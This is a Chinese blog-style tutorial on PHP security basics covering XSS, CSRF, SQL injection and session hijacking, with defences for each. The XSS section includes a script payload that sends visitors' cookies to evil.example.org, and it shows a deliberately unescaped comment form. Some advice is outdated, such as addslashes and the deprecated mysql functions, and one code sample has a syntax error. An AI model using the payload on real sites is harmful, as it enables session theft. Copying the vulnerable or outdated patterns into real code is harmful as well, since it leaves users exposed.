PHP安全基础学习与总结

PHP安全基础注意事项:

1、关闭全局变量注册register_globals

2、开启错误报告,开发环境上设置错误报告级别为E_ALL | E_STRICT,生产环境关闭错误报告,同时,PHP提供了set_error_handler( )方法,该方法允许用户定义自己的出错处理函数

<?php
set_error_handler("my_error_handler";
function my_error_handler($number, $string, $file, $line, $context)
{
    /** function body */
}

PHP安全基本原则:

1、不相信任何输入数据的正确性。

2、深度防范,这要求您时刻有一个备份方案。如果一个安全措施失效了,必须有另外一个提供一些保护。

3、最小权限,合理的分配每个用户所拥有的权限,可以有效的避免攻击。

4、简单就是美,复杂滋生错误,错误能导致安全漏洞。

5、暴露最小化,PHP应用程序需要与外部(主要是客户端浏览器、数据库等)数据源间进行频繁的通信,如果你正确的跟踪数据,你就可以确定哪些数据被暴露了。数据暴露不一定就意味着安全风险。可是数据暴露必须尽量最小化。例如用SSL保护信用卡信息等。


PHP安全基本方法:

1、平衡风险与可用性,用户操作的友好性与安全措施是一对矛盾,在提高安全性的同时,通常会降低可用性,所以,你必须在这两者之间做一个平衡。

2、跟踪数据,PHP通过超级全局数组如$_GET, $_POST, $_REQUEST, $_SESSION及$_COOKIE等清楚地表示了用户数据的来源,强烈建议开发者在编写代码时严格根据数据来源使用不同的方法获取数据。

3、过滤输入,trim,preg_match正则表达式以及ctype_alnum等内置方法。

4、转义输出,htmlspecialchars,htmlentities等,此外还有sql语句(mysql)的数据转义方法mysql_real_escape_string()


常见攻击方式及防御措施:

1、表单及URL攻击,注意表单中的隐藏域限制条件,URL中的参数改变,遵循深度防范原则。

2、文件上传攻击,需要在form声明里指定enctype="multipart/form-data",需要注意隐藏的表单域限制条件的判断,注意用is_uploaded_file(), move_uploaded_file()确保文件来源的安全,同时用filesize, getimagesize等方法校验文件大小。

3、跨站脚本攻击,所有可以让客户端输入的应用都面临风险

例子:下面的例子允许用户发表评论

<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10" cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>

在上面的代码里,服务器端的php代码没有对用户输入的内容进行过滤及转义输出,如果我们在评论内容中输入以下内容
<script>
document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie
</script>
服务器将未经过转义的内容(javascript代码)输出到客户端,那么其他的用户在访问这个页面时,就会不知不觉的把自己的cookies发送到evil.example.org,而接收程序steal.php可以通过$_GET['cookies']变量防问所有的cookies。

防御措施:针对上面的攻击方式,我们要严格的将我们要输出到客户端的数据进行转义htmlentities('comment', ENT_QUOTES, 'UTF-8')

4、跨站请求伪造,跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意HTTP请求的一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。跨站攻击一般是用图片或者iframe等隐藏http请求(伪造)第三方网站,来攻击或者破坏第三方网站的信息。

小提示:

当你访问http://www.google.com,你的浏览器首先会请求这个URL所标识的资源。你可以通过查看该页的源文件(HTML)的方式来看到该请求的返回内容。在浏览器解析了返回内容后发现了Google的标志图片。这个图片是以HTML的img标签表示的,该标签的src属性表示了图片的URL。浏览器于是再发出对该图片的请求,以上这两次请求间的不同点只是URL的不同。

根据上面的原理,跨站请求伪造攻击可以通过img标签来实现。

防御措施:使用POST而不是GET来提交表单,在处理表单提交时使用$_POST而不是$_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要求得方便与风险之间的平衡)。对于重要的表单,请加验证码识别。

5、欺骗表单提交,大多数表单用一个相对URL地址来指定action属性,攻击者可以在任意地方编辑表单,然后将数据提交给你服务器的绝对地址。

防御措施:欺骗表单攻击是无法防御的,在服务器验证端加入HTTP_REFERER的判断,可以部分防止欺骗表单,但是这个值是可以伪造的,不能绝对防止。

6、HTTP请求欺骗,攻击者可以用telnet等程序,来连接网站服务器的侦听端口(一般为80)来与web服务器直接通信,当然实现这种通信的方式很多,像php的fsockopen方式就是一种很方便的通信手段。

防御措施:严格正确的过滤输入信息,转义输出数据。

7、数据库及SQL注入,作为一门强大的网络编程语言,PHP可以与oracle、mysql、SQLite等数据库进行连接。

“很多PHP开发人员不会去过滤来自数据库的数据,他们认为数据库内保存的是已过滤的数据。虽然这种做法的安全风险是很小的,但是这不是最好的做法,同时我也不推荐这样做。这种做法是基于对数据库安全的绝对信任,但同时违反了深度防范的原则。如果恶意数据由于某些原因被注入了数据库,如果你有过滤机制的话,就能发现并抓住它。”

关于SQL注入的例子网上有很多了,就不列举了,最基本最常见的莫过于用户名/密码中加' 和or 条件,或者加--sql语句注释符号。

防御措施:严格正确的过滤输入信息,转义输出数据,同时用mysql_real_escape_string()格式化sql的字段匹配值,或者用addslashes()格式化输入数据。另外,使用参数化sql语句,这样输入的内容就只会作为数据来处理,也可以降低SQL注入风险。

<?php
$sql = 'INSERT
INTO user (last_name)
VALUES (?)'; 
$dbh->query($sql, array($clean['last_name']));
?>

 

PHP的SESSION与Cookies

众所周知,HTTP是一种无状态的协议。客户端向服务器发送一次请求,服务器接收并返回客户端数据,这样一次HTTP请求就结束了。由于协议中未提供任何让客户端标识自己的方法,因此服务器也就无法区分客户端。

Cookies是对HTTP协议的补充,它们由两个HTTP头部组成:Set-Cookie响应头部和Cookie请求头部。当客户端发出对一个特定URL的请求时,服务器会在响应时选择包含一个Set-Cookie头部。它要求客户端在下面的请求中包含一个相就的Cookie头部。基本的交互过程如下图:

 PHP安全基础学习与总结_第1张图片

如图所示,当浏览器向服务器发出HTTP请求时,其请求信息包含cookie,服务器就可以识别该客户端,并将该客户端所有的请求连接起来。

Session又称为会话,一般我们使用PHP的内置session机制。

常见的基于cookie和session的攻击方式:

1、cookie盗窃,由于cookie是存储在客户端的信息,一旦cookie信息暴露,就会导致会话劫持。常见的盗窃cookie信息的手段是浏览器漏洞和跨站脚本攻击。

防御措施:做好输入数据的过滤,输出数据的转义。

2、session数据暴露,由于session是存储在服务器端的,我们做好了服务器的安全工作,session数据不会公开暴露,同时我们也可以用session_set_save_handler( )来定义自己的加密方法,以保护我们的session数据。

3、会话劫持,攻击者取得一个合法的会话标识来伪装成合法用户,以此来骗取服务器的信任,并对服务器进行攻击操作的手段。

例子:攻击者劫持了受害者用户的session标识id,可以任意修改属于该会话标识的会话数据

http://localhost/index.php

<?php
session_start();
//$_SESSION['n'] = 10;
echo $_SESSION['n'];

http://localhost/attack.php?PHPSESSID=1234 

<?php
session_start();
$_SESSION['n'] = 20;

用户访问index.php,session启动,注册了session_id,假设id值为1234,当然php的session_id不会是这么简单,并且向$_SESSION数组添加了一个值为10的变量n,并输出n的值为10,如果攻击者劫持了该会话,并获得了其PHPSESSID,那么攻击者就可以访问attack.php?PHPSESSID=1234连接,从而将该标识的用户的n值改为20,这时刷新index.php,输出n的值为20,,这就是一次最简单的会话劫持攻击。

防御措施:在url后面加随机串,获取随机串的值之后计算md5散列,然后比较服务器上的存储值,或者用比较HTTP_USER_AGENT的方式,如果用户发送了一个非常用的USER_AGENT请求,那么可以将该请求作为可疑请求,并采取措施。

 

 

你可能感兴趣的:(PHP安全基础学习与总结)